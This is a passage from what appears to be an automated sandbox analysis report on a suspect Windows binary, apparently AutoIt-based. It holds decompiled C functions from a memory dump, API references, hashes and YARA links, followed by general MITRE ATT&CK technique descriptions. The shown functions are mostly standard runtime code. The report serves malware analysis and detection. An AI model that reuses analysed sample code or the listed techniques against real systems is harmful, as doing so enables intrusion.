							 *((intOrPtr*)(__edi + 8)) = __eax;
							goto L17;
					}
				}
				L18:
			}

0x00f594c6
0x00f594c9
0x00f594d4
0x00f594d5
0x00f594d8
0x00f594de
0x00f5968b
0x00f5968e
0x00f5969b
0x00f594e4
0x00f594e4
0x00000000
0x00f59516
0x00f5951b
0x00f5951e
0x00f59521
0x00000000
0x00000000
0x00f59551
0x00f59554
0x00f5955a
0x00f5955d
0x00f59562
0x00000000
0x00000000
0x00f5952b
0x00f59530
0x00f59533
0x00f59536
0x00f5953b
0x00f5953e
0x00f59546
0x00f59548
0x00f59549
0x00f5954a
0x00f5954e
0x00000000
0x00000000
0x00f59580
0x00f59583
0x00f59589
0x00f5958c
0x00f59591
0x00f59592
0x00000000
0x00000000
0x00f5959d
0x00f595a0
0x00f595a5
0x00f595a8
0x00f595aa
0x00f595ad
0x00f595b2
0x00000000
0x00000000
0x00f595e2
0x00f595e6
0x00f595eb
0x00f595ee
0x00f595f0
0x00f595f5
0x00f59600
0x00f59605
0x00f59609
0x00f5960a
0x00f59610
0x00f59618
0x00f5961a
0x00f5961b
0x00f5961c
0x00f59620
0x00000000
0x00000000
0x00f5956a
0x00f5956d
0x00f59573
0x00f59576
0x00000000
0x00000000
0x00f595bc
0x00f595bf
0x00f595c1
0x00000000
0x00f595c7
0x00f595c7
0x00f595c8
0x00f595c9
0x00f595cf
0x00f595d7
0x00f595d9
0x00f595da
0x00f595db
0x00f595df
0x00f595df
0x00000000
0x00000000
0x00f594f4
0x00f59502
0x00f59506
0x00f59513
0x00000000
0x00000000
0x00f59623
0x00f59627
0x00f5962c
0x00f5962e
0x00000000
0x00f59630
0x00f59630
0x00f59635
0x00f59638
0x00f5963b
0x00f59647
0x00f59649
0x00f5964a
0x00f5964b
0x00f5964f
0x00f5964f
0x00000000
0x00000000
0x00f59652
0x00f59652
0x00f59655
0x00f5965a
0x00f5965d
0x00f5965f
0x00f59662
0x00f59667
0x00000000
0x00000000
0x00f5966e
0x00f59671
0x00f59676
0x00f59679
0x00f5967b
0x00f5967e
0x00f59683
0x00f59688
0x00f59688
0x00000000
0x00000000
0x00f594e4
0x00000000

APIs

VariantInit.OLEAUT32(?), ref: 00F594C9
SysAllocString.OLEAUT32(00000000), ref: 00F59592
VariantCopy.OLEAUT32(?,?), ref: 00F595C9
VariantClear.OLEAUT32(?), ref: 00F5960A

Memory Dump Source

Source File: 0000000B.00000002.718835033.0000000000EE1000.00000020.00020000.sdmp, Offset: 00EE0000, based on PE: true

Associated: 0000000B.00000002.718822004.0000000000EE0000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.718905280.0000000000F62000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.718932175.0000000000F70000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.718946969.0000000000F71000.00000008.00020000.sdmp Download File
Associated: 0000000B.00000002.718971814.0000000000F72000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.718989679.0000000000F87000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.719007545.0000000000F8B000.00000002.00020000.sdmp Download File

Similarity

API ID: Variant$AllocClearCopyInitString
String ID:
API String ID: 2808897238-0
Opcode ID: 6b3ba246b1657c1023b6e6860962407b18c371b5372e51baf61d690224b7bb70
Instruction ID: f0058afe8a13783f6e81b7a51dfaca277d8b3994197bc6097a15719381ac45a8
Opcode Fuzzy Hash: 6b3ba246b1657c1023b6e6860962407b18c371b5372e51baf61d690224b7bb70
Instruction Fuzzy Hash: FF51193660020EA7CB04FF2ADC415AEB7A4EF84351F518526FD14D7242DB74DA19E7E2

Uniqueness

Uniqueness Score: -1.00%

Function 00EF407F, Relevance: 6.1, APIs: 4, Instructions: 130
COMMON

Download Yara Rule

C-Code - Quality: 96%

			E00EF407F(signed int _a4, signed int _a8, signed int _a12, intOrPtr* _a16) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t56;
				signed int _t60;
				void* _t65;
				signed int _t66;
				signed int _t69;
				signed int _t71;
				signed int _t72;
				signed int _t74;
				signed int _t75;
				signed int _t78;
				signed int _t79;
				signed int _t81;
				signed int _t85;
				signed int _t92;
				signed int _t93;
				signed int _t94;
				signed int _t95;
				intOrPtr* _t96;
				void* _t97;

				_t92 = _a8;
				if(_t92 == 0 || _a12 == 0) {
					L4:
					return 0;
				} else {
					_t96 = _a16;
					_t100 = _t96;
					if(_t96 != 0) {
						_t79 = _a4;
						__eflags = _t79;
						if(__eflags == 0) {
							goto L3;
						}
						_t60 = _t56 | 0xffffffff;
						_t88 = _t60 % _t92;
						__eflags = _a12 - _t60 / _t92;
						if(__eflags > 0) {
							goto L3;
						}
						_t93 = _t92 * _a12;
						__eflags =  *(_t96 + 0xc) & 0x0000010c;
						_v8 = _t79;
						_v16 = _t93;
						_t78 = _t93;
						if(( *(_t96 + 0xc) & 0x0000010c) == 0) {
							_v12 = 0x1000;
						} else {
							_v12 =  *(_t96 + 0x18);
						}
						__eflags = _t93;
						if(_t93 == 0) {
							L32:
							return _a12;
						} else {
							do {
								_t81 =  *(_t96 + 0xc) & 0x00000108;
								__eflags = _t81;
								if(_t81 == 0) {
									L18:
									__eflags = _t78 - _v12;
									if(_t78 < _v12) {
										_t65 = E00EF8EB8(_t88, _t93,  *_v8, _t96);
										__eflags = _t65 - 0xffffffff;
										if(_t65 == 0xffffffff) {
											L34:
											_t66 = _t93;
											L35:
											return (_t66 - _t78) / _a8;
										}
										_v8 = _v8 + 1;
										_t69 =  *(_t96 + 0x18);
										_t78 = _t78 - 1;
										_v12 = _t69;
										__eflags = _t69;
										if(_t69 <= 0) {
											_v12 = 1;
										}
										goto L31;
									}
									__eflags = _t81;
									if(_t81 == 0) {
										L21:
										__eflags = _v12;
										_t94 = _t78;
										if(_v12 != 0) {
											_t72 = _t78;
											_t88 = _t72 % _v12;
											_t94 = _t94 - _t72 % _v12;
											__eflags = _t94;
										}
										_push(_t94);
										_push(_v8);
										_push(E00EF4059(_t96));
										_t71 = E00EFB6D2(_t78, _t88, _t94, _t96, __eflags);
										_t97 = _t97 + 0xc;
										__eflags = _t71 - 0xffffffff;
										if(_t71 == 0xffffffff) {
											L36:
											 *(_t96 + 0xc) =  *(_t96 + 0xc) | 0x00000020;
											_t66 = _v16;
											goto L35;
										} else {
											_t85 = _t94;
											__eflags = _t71 - _t94;
											if(_t71 <= _t94) {
												_t85 = _t71;
											}
											_v8 = _v8 + _t85;
											_t78 = _t78 - _t85;
											__eflags = _t71 - _t94;
											if(_t71 < _t94) {
												goto L36;
											} else {
												L27:
												_t93 = _v16;
												goto L31;
											}
										}
									}
									_t74 = E00EF435C(_t88, _t96);
									__eflags = _t74;
									if(_t74 != 0) {
										goto L34;
									}
									goto L21;
								}
								_t75 =  *(_t96 + 4);
								__eflags = _t75;
								if(__eflags == 0) {
									goto L18;
								}
								if(__eflags < 0) {
									_t45 = _t96 + 0xc;
									 *_t45 =  *(_t96 + 0xc) | 0x00000020;
									__eflags =  *_t45;
									goto L34;
								}
								_t95 = _t78;
								__eflags = _t78 - _t75;
								if(_t78 >= _t75) {
									_t95 = _t75;
								}
								E00EF0D80( *_t96, _v8, _t95);
								 *(_t96 + 4) =  *(_t96 + 4) - _t95;
								 *_t96 =  *_t96 + _t95;
								_t97 = _t97 + 0xc;
								_t78 = _t78 - _t95;
								_v8 = _v8 + _t95;
								goto L27;
								L31:
								__eflags = _t78;
							} while (_t78 != 0);
							goto L32;
						}
					}
					L3:
					 *((intOrPtr*)(E00EF7E9A(_t100))) = 0x16;
					E00EF7E48();
					goto L4;
				}
			}

0x00ef408a
0x00ef408f
0x00ef40ae
0x00000000
0x00ef4097
0x00ef4097
0x00ef409a
0x00ef409c
0x00ef40b5
0x00ef40b8
0x00ef40ba
0x00000000
0x00000000
0x00ef40bc
0x00ef40c1
0x00ef40c3
0x00ef40c6
0x00000000
0x00000000
0x00ef40c8
0x00ef40cc
0x00ef40d3
0x00ef40d6
0x00ef40d9
0x00ef40db
0x00ef40e5
0x00ef40dd
0x00ef40e0
0x00ef40e0
0x00ef40ec
0x00ef40ee
0x00ef41b3
0x00000000
0x00ef40f4
0x00ef40f4
0x00ef40f7
0x00ef40f7
0x00ef40fd
0x00ef412e
0x00ef412e
0x00ef4131
0x00ef418a
0x00ef4191
0x00ef4194
0x00ef41bf
0x00ef41bf
0x00ef41c1
0x00000000
0x00ef41c5
0x00ef4196
0x00ef4199
0x00ef419c
0x00ef419d
0x00ef41a0
0x00ef41a2
0x00ef41a4
0x00ef41a4
0x00000000
0x00ef41a2
0x00ef4133
0x00ef4135
0x00ef4142
0x00ef4142
0x00ef4146
0x00ef4148
0x00ef414c
0x00ef414e
0x00ef4151
0x00ef4151
0x00ef4151
0x00ef4153
0x00ef4154
0x00ef415e
0x00ef415f
0x00ef4164
0x00ef4167
0x00ef416a
0x00ef41cd
0x00ef41cd
0x00ef41d1
0x00000000
0x00ef416c
0x00ef416c
0x00ef416e
0x00ef4170
0x00ef4172
0x00ef4172
0x00ef4174
0x00ef4177
0x00ef4179
0x00ef417b
0x00000000
0x00ef417d
0x00ef417d
0x00ef417d
0x00000000
0x00ef417d
0x00ef417b
0x00ef416a
0x00ef4138
0x00ef413e
0x00ef4140
0x00000000
0x00000000
0x00000000
0x00ef4140
0x00ef40ff
0x00ef4102
0x00ef4104
0x00000000
0x00000000
0x00ef4106
0x00ef41bb
0x00ef41bb
0x00ef41bb
0x00000000
0x00ef41bb
0x00ef410c
0x00ef410e
0x00ef4110
0x00ef4112
0x00ef4112
0x00ef411a
0x00ef411f
0x00ef4122
0x00ef4124
0x00ef4127
0x00ef4129
0x00000000
0x00ef41ab
0x00ef41ab
0x00ef41ab
0x00000000
0x00ef40f4
0x00ef40ee
0x00ef409e
0x00ef40a3
0x00ef40a9
0x00000000
0x00ef40a9

APIs

_memmove.LIBCMT ref: 00EF411A
__flush.LIBCMT ref: 00EF4138
__write.LIBCMT ref: 00EF415F
__flsbuf.LIBCMT ref: 00EF418A

Part of subcall function 00EF7E9A: __getptd_noexit.LIBCMT ref: 00EF7E9A

Memory Dump Source

Source File: 0000000B.00000002.718835033.0000000000EE1000.00000020.00020000.sdmp, Offset: 00EE0000, based on PE: true

Associated: 0000000B.00000002.718822004.0000000000EE0000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.718905280.0000000000F62000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.718932175.0000000000F70000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.718946969.0000000000F71000.00000008.00020000.sdmp Download File
Associated: 0000000B.00000002.718971814.0000000000F72000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.718989679.0000000000F87000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.719007545.0000000000F8B000.00000002.00020000.sdmp Download File

Similarity

API ID: __flsbuf__flush__getptd_noexit__write_memmove
String ID:
API String ID: 2782032738-0
Opcode ID: 5577a25a8bf7660d1eb98eb86be2243cf7e8e14d6244587b41df67c47af93e11
Instruction ID: 96cd694d868f32f17ea1634eb22d98dafa04a1dbd5ee0d27cf9e54ab8dc6477a
Opcode Fuzzy Hash: 5577a25a8bf7660d1eb98eb86be2243cf7e8e14d6244587b41df67c47af93e11
Instruction Fuzzy Hash: 7841B1B1A0160C9BDB248F6888846BFBBF5AF90364F249569E715B72C0DB70DE80CB41

Uniqueness

Uniqueness Score: -1.00%

Function 00EEE2C0, Relevance: 6.1, APIs: 4, Instructions: 82
windowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00EEE2C0(intOrPtr __esi, void* __fp0) {
				struct _NOTIFYICONDATAW _v940;
				struct HICON__* _t31;
				long _t33;
				long _t34;
				intOrPtr _t41;
				intOrPtr _t47;
				intOrPtr _t48;
				long _t51;
				intOrPtr _t53;
				void* _t64;

				_t64 = __fp0;
				_t53 = __esi;
				_v940.cbSize = 0x3a8;
				E00EF2E60( &(_v940.hWnd), 0, 0x3a4);
				if( *((intOrPtr*)(__esi + 0x198)) == 0) {
					_t48 =  *0xf87f44; // 0x1a0271
					 *((intOrPtr*)(__esi + 0x198)) = _t48;
				}
				if( *((intOrPtr*)(_t53 + 0x1a4)) == 0) {
					_t41 =  *0xf87f48; // 0x290297
					 *((intOrPtr*)(_t53 + 0x1a4)) = _t41;
					 *((intOrPtr*)(_t53 + 0x1a8)) = _t41;
				}
				if( *((intOrPtr*)(_t53 + 0x1b0)) == 0) {
					_t47 =  *0xf87f4c; // 0x3040b
					 *((intOrPtr*)(_t53 + 0x1b0)) = _t47;
				}
				_t10 = _t53 + 0x19c; // 0x0
				_t31 =  *_t10;
				_t11 = _t53 + 0x1a0; // 0xf888b0
				_t51 = _t11;
				if(_t31 != 0) {
					if( *_t51 != 0) {
						DestroyIcon(_t31);
					}
				}
				 *(_t53 + 0x19c) = 0;
				 *_t51 = 0;
				_v940.hWnd =  *0xf77518;
				_v940.uID = 1;
				_v940.uFlags = 3;
				_v940.uCallbackMessage = 0x401;
				_v940.hIcon = 0;
				if( *((intOrPtr*)(_t53 + 0x40)) != 0) {
					_t23 = _t53 + 0x3c; // 0x38e1c68
					_t24 = _t53 + 0x10; // 0xffffffff
					_t33 = E00F141CD(_t53,  *_t24,  *_t23, _t51);
					_v940.hWnd = _t33;
					 *(_t53 + 0x19c) = _t33;
					if( *((intOrPtr*)(_t53 + 0x40)) == 0) {
						goto L8;
					}
					if(_t33 != 0) {
						goto L9;
					}
					goto L8;
				} else {
					L8:
					_t19 = _t53 + 0x198; // 0x0
					_t34 =  *_t19;
					_v940.hIcon = _t34;
					 *(_t53 + 0x19c) = _t34;
					L9:
					if( *0xf774ea == 1) {
						Shell_NotifyIconW(1,  &_v940);
					} else {
						Shell_NotifyIconW(0,  &_v940);
						 *0xf774ea = 1;
					}
					return E00EE1E00(_t53, _t64);
				}
			}

0x00eee2c0
0x00eee2c0
0x00eee2da
0x00eee2e2
0x00eee2f1
0x00eee2f3
0x00eee2f9
0x00eee2f9
0x00eee306
0x00eee308
0x00eee30d
0x00eee313
0x00eee313
0x00eee320
0x00eee322
0x00eee328
0x00eee328
0x00eee32e
0x00eee32e
0x00eee334
0x00eee334
0x00eee33c
0x00f07b52
0x00f07b59
0x00f07b59
0x00f07b52
0x00eee348
0x00eee352
0x00eee35e
0x00eee362
0x00eee366
0x00eee36e
0x00eee376
0x00eee37e
0x00f07b64
0x00f07b67
0x00f07b6e
0x00f07b77
0x00f07b7b
0x00f07b81
0x00000000
0x00000000
0x00f07b89
0x00000000
0x00000000
0x00000000
0x00eee384
0x00eee384
0x00eee384
0x00eee384
0x00eee38a
0x00eee38e
0x00eee394
0x00eee39a
0x00f07b9a
0x00eee3a0
0x00eee3a7
0x00eee3ad
0x00eee3ad
0x00eee3bf
0x00eee3bf

APIs

_memset.LIBCMT ref: 00EEE2E2
Shell_NotifyIconW.SHELL32(00000000,?), ref: 00EEE3A7

Memory Dump Source

Source File: 0000000B.00000002.718835033.0000000000EE1000.00000020.00020000.sdmp, Offset: 00EE0000, based on PE: true

Associated: 0000000B.00000002.718822004.0000000000EE0000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.718905280.0000000000F62000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.718932175.0000000000F70000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.718946969.0000000000F71000.00000008.00020000.sdmp Download File
Associated: 0000000B.00000002.718971814.0000000000F72000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.718989679.0000000000F87000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.719007545.0000000000F8B000.00000002.00020000.sdmp Download File

Similarity

API ID: IconNotifyShell__memset
String ID:
API String ID: 928536360-0
Opcode ID: a5fdde3b31ad4e33c6a058cf985f81e047a2449a2fe4776e2408f94bde4c59c6
Instruction ID: 85a0edcd265f119c696ebe62a21420d853cdd16ee6c4fcfdbe01e3b7bee23efe
Opcode Fuzzy Hash: a5fdde3b31ad4e33c6a058cf985f81e047a2449a2fe4776e2408f94bde4c59c6
Instruction Fuzzy Hash: C33190B0908748DFD320DF26D8547A7BBE8BB85314F00181DE5EA93380D7B4A948DF92

Uniqueness

Uniqueness Score: -1.00%

Function 00F1494A, Relevance: 6.0, APIs: 4, Instructions: 46
COMMON

Download Yara Rule

C-Code - Quality: 61%

			E00F1494A(intOrPtr _a4, intOrPtr _a8) {
				void* __edi;
				void* __esi;
				void* _t16;
				void* _t18;
				void* _t27;
				intOrPtr _t28;
				intOrPtr _t41;
				intOrPtr _t43;
				intOrPtr _t46;

				_t28 = _a8;
				_t43 = _a4;
				_t46 =  *((intOrPtr*)(_t43 + 0x10));
				if(_t46 != 0) {
					_t18 = E00EF10E1( *((intOrPtr*)( *((intOrPtr*)(_t43 + 0xc)))));
					_push( ~(_t46 > 0) | (E00EF10E1(_t28) + _t18 + 0x00000001) * 0x00000002);
					_t41 = E00EF14F7(_t18, _t43,  ~(_t46 > 0) | (E00EF10E1(_t28) + _t18 + 0x00000001) * 0x00000002);
					E00EF1487(_t41,  *((intOrPtr*)( *((intOrPtr*)(_t43 + 0xc)))));
					E00EF1456(_t41, _t28);
					_push( *((intOrPtr*)( *((intOrPtr*)(_t43 + 0xc)))));
					_t27 = E00EF10FC();
					 *((intOrPtr*)( *((intOrPtr*)(_t43 + 0xc)))) = _t41;
					return _t27;
				}
				return _t16;
			}

0x00f1494e
0x00f14952
0x00f14955
0x00f14959
0x00f14962
0x00f14983
0x00f14989
0x00f14992
0x00f14999
0x00f149a3
0x00f149a4
0x00f149af
0x00000000
0x00f149b1
0x00f149b5

APIs

_wcslen.LIBCMT ref: 00F14962
_wcslen.LIBCMT ref: 00F1496A

Part of subcall function 00EF14F7: _malloc.LIBCMT ref: 00EF1511

_wcscpy.LIBCMT ref: 00F14992
_wcscat.LIBCMT ref: 00F14999

Memory Dump Source

Source File: 0000000B.00000002.718835033.0000000000EE1000.00000020.00020000.sdmp, Offset: 00EE0000, based on PE: true

Associated: 0000000B.00000002.718822004.0000000000EE0000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.718905280.0000000000F62000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.718932175.0000000000F70000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.718946969.0000000000F71000.00000008.00020000.sdmp Download File
Associated: 0000000B.00000002.718971814.0000000000F72000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.718989679.0000000000F87000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.719007545.0000000000F8B000.00000002.00020000.sdmp Download File

Similarity

API ID: _wcslen$_malloc_wcscat_wcscpy
String ID:
API String ID: 1597257046-0
Opcode ID: 3c9ed85b9d073ac518fed63b8496ab79d1f509613c87389c5754dae3619f585a
Instruction ID: 082436b46255c4fdbd28448e9e9a3ee9a501608bb80bdc5d3cee5412241629ab
Opcode Fuzzy Hash: 3c9ed85b9d073ac518fed63b8496ab79d1f509613c87389c5754dae3619f585a
Instruction Fuzzy Hash: B5016235200248AFC314EB69C886D77B3EDEBC9320B0085A9F65997641DA35E8408760

Uniqueness

Uniqueness Score: -1.00%

Function 00EF506D, Relevance: 6.0, APIs: 4, Instructions: 16
threadCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00EF506D() {
				void* _t3;
				void* _t6;
				void* _t8;
				void* _t9;

				_t9 = E00EF7913(_t6, _t8);
				if(_t9 != 0) {
					_t3 =  *(_t9 + 4);
					if(_t3 != 0xffffffff) {
						CloseHandle(_t3);
					}
					E00EF7AD5(_t9);
				}
				ExitThread(0);
			}

0x00ef5075
0x00ef5079
0x00ef507b
0x00ef5081
0x00ef5084
0x00ef5084
0x00ef508b
0x00ef5090
0x00ef5093

APIs

__getptd_noexit.LIBCMT ref: 00EF5070

Part of subcall function 00EF7913: GetLastError.KERNEL32(00000003,?,00EF7994,?,00EF1259,?,?,00EF12DC,?,00000001), ref: 00EF7917
Part of subcall function 00EF7913: ___set_flsgetvalue.LIBCMT ref: 00EF7925
Part of subcall function 00EF7913: __calloc_crt.LIBCMT ref: 00EF7939
Part of subcall function 00EF7913: __initptd.LIBCMT ref: 00EF7962
Part of subcall function 00EF7913: GetCurrentThreadId.KERNEL32 ref: 00EF7969
Part of subcall function 00EF7913: SetLastError.KERNEL32(00000000,?,00EF12DC,?,00000001), ref: 00EF7981

CloseHandle.KERNEL32(?,?,00EF50BB), ref: 00EF5084
__freeptd.LIBCMT ref: 00EF508B
ExitThread.KERNEL32 ref: 00EF5093

Memory Dump Source

Source File: 0000000B.00000002.718835033.0000000000EE1000.00000020.00020000.sdmp, Offset: 00EE0000, based on PE: true

Associated: 0000000B.00000002.718822004.0000000000EE0000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.718905280.0000000000F62000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.718932175.0000000000F70000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.718946969.0000000000F71000.00000008.00020000.sdmp Download File
Associated: 0000000B.00000002.718971814.0000000000F72000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.718989679.0000000000F87000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.719007545.0000000000F8B000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorLastThread$CloseCurrentExitHandle___set_flsgetvalue__calloc_crt__freeptd__getptd_noexit__initptd
String ID:
API String ID: 2246029678-0
Opcode ID: cae474ad497c26bebb1cab7ae371fd82c117d65ec027aadf7c7a6e95d18a62d6
Instruction ID: 39660eb0dfc7d682f9ef3193de45307ba16de3097676bfb0f81799aee1ccbf60
Opcode Fuzzy Hash: cae474ad497c26bebb1cab7ae371fd82c117d65ec027aadf7c7a6e95d18a62d6
Instruction Fuzzy Hash: E2D0A732405D1857C1312734480EA2E32959F40731B151B04F775E72D1DFF4CE4246E0

Uniqueness

Uniqueness Score: -1.00%

Function 00F12175, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 50
COMMON

Download Yara Rule

C-Code - Quality: 90%

			E00F12175(intOrPtr _a4, signed int* _a8) {
				signed char _v5;
				signed char _v6;
				signed char _v7;
				signed int _v8;
				char _v12;
				signed int _t21;
				intOrPtr _t39;

				_t39 = _a4;
				if( *((intOrPtr*)(_t39 + 0x14)) != 1) {
					_t6 = _t39 + 0x1c; // 0x38e65b0
					E00EF4C24( &_v12, 1, 8,  *_t6);
				} else {
					_t3 = _t39 + 0xc; // 0x0
					_t4 = _t39 + 4; // 0xf88614
					E00EF0D80( &_v12,  *_t3 +  *_t4, 8);
				}
				 *((intOrPtr*)(_t39 + 0xc)) =  *((intOrPtr*)(_t39 + 0xc)) + 8;
				 *_a8 = (((_v8 & 0x000000ff) << 0x00000008 | _v7 & 0x000000ff) << 0x00000008 | _v6 & 0x000000ff) << 0x00000008 | _v5 & 0x000000ff;
				_v8 = 0;
				_t21 = E00EF4C50( &_v12, "EA06");
				asm("sbb eax, eax");
				return  ~( ~_t21);
			}

0x00f1217c
0x00f12183
0x00f1219c
0x00f121a8
0x00f12185
0x00f12185
0x00f12188
0x00f12192
0x00f12197
0x00f121bc
0x00f121d6
0x00f121e1
0x00f121e5
0x00f121ef
0x00f121f7

APIs

_memmove.LIBCMT ref: 00F12192
__fread_nolock.LIBCMT ref: 00F121A8

Strings

EA06, xrefs: 00F121DB

Memory Dump Source

Source File: 0000000B.00000002.718835033.0000000000EE1000.00000020.00020000.sdmp, Offset: 00EE0000, based on PE: true

Associated: 0000000B.00000002.718822004.0000000000EE0000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.718905280.0000000000F62000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.718932175.0000000000F70000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.718946969.0000000000F71000.00000008.00020000.sdmp Download File
Associated: 0000000B.00000002.718971814.0000000000F72000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.718989679.0000000000F87000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.719007545.0000000000F8B000.00000002.00020000.sdmp Download File

Similarity

API ID: __fread_nolock_memmove
String ID: EA06
API String ID: 1988441806-3962188686
Opcode ID: b6a054af14aef66f5a2be75ba9891976f120cc859757cd7feb4aeef21d523dbd
Instruction ID: 66a22332e6ffdffcc5a5b74f4d78cd081a72e69dab617320984ea6531bcc0139
Opcode Fuzzy Hash: b6a054af14aef66f5a2be75ba9891976f120cc859757cd7feb4aeef21d523dbd
Instruction Fuzzy Hash: AA014572C042187BDB18CBA88C12AFEBBF49F45301F00859EF696A22C1D574A718CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00EF1871, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 20
COMMON

Download Yara Rule

C-Code - Quality: 37%

			E00EF1871(void* __ebx, void* __edx, void* __edi, intOrPtr _a4) {
				void* _t3;

				E00EF81EE(__ebx, __edi, 4);
				_t3 =  *0xf70004( *0xf76684);
				 *0xf76684 =  *0xf70000(_a4);
				E00EF8115(4);
				return _t3;
			}

0x00ef1879
0x00ef1885
0x00ef1898
0x00ef189d
0x00ef18a7

APIs

__lock.LIBCMT ref: 00EF1879

Part of subcall function 00EF81EE: __mtinitlocknum.LIBCMT ref: 00EF8204
Part of subcall function 00EF81EE: __amsg_exit.LIBCMT ref: 00EF8210
Part of subcall function 00EF81EE: EnterCriticalSection.KERNEL32(?,?,?,00EF78A9,0000000D,?,00EF12DC,?,00000001), ref: 00EF8218

Part of subcall function 00EF8115: LeaveCriticalSection.KERNEL32(?,00EF81EC,?,00EF81DC,00F6D180,0000000C,00EF8209,?,?,?,00EF78A9,0000000D,?,00EF12DC,?), ref: 00EF8124

Strings

d, xrefs: 00EF1890
d, xrefs: 00EF1885

Memory Dump Source

Source File: 0000000B.00000002.718835033.0000000000EE1000.00000020.00020000.sdmp, Offset: 00EE0000, based on PE: true

Associated: 0000000B.00000002.718822004.0000000000EE0000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.718905280.0000000000F62000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.718932175.0000000000F70000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.718946969.0000000000F71000.00000008.00020000.sdmp Download File
Associated: 0000000B.00000002.718971814.0000000000F72000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.718989679.0000000000F87000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.719007545.0000000000F8B000.00000002.00020000.sdmp Download File

Similarity

API ID: CriticalSection$EnterLeave__amsg_exit__lock__mtinitlocknum
String ID: d$d
API String ID: 2136571680-2740576028
Opcode ID: c7a16404bba5f574064388f14c3c923f18561c79bef3e5b8bc423ffc775e6697
Instruction ID: 1ea883b14a2907a61743f0b8084f50258764b75d7504521dc8901b58eb82498a
Opcode Fuzzy Hash: c7a16404bba5f574064388f14c3c923f18561c79bef3e5b8bc423ffc775e6697
Instruction Fuzzy Hash: F3D0177260121CABCB002BB5BE0AA553FA8EB447B1F010125F70CCB1A0DDB19891A78A

Uniqueness

Uniqueness Score: -1.00%

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may directly interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	API monitoring, Loaded DLLs, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	PowerShell logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically requires being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	File monitoring, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by hijacking the library manifest used to load DLLs. Adversaries may take advantage of vague references in the library manifest of a program by replacing a legitimate library with a malicious one, causing the operating system to load their malicious library when it is called for by the victim program.
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	Loaded DLLs, Process monitoring, Process use of network
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in an attempt to collect elevate privileges. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Security constructs such as permission levels will often hinder access to information and use of certain techniques, so adversaries will likely need to perform privilege escalation to include use of software exploitation to circumvent those restrictions.
Tactics:	Privilege Escalation
Data Sources:	Application logs, Process monitoring, Windows Error Reporting
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

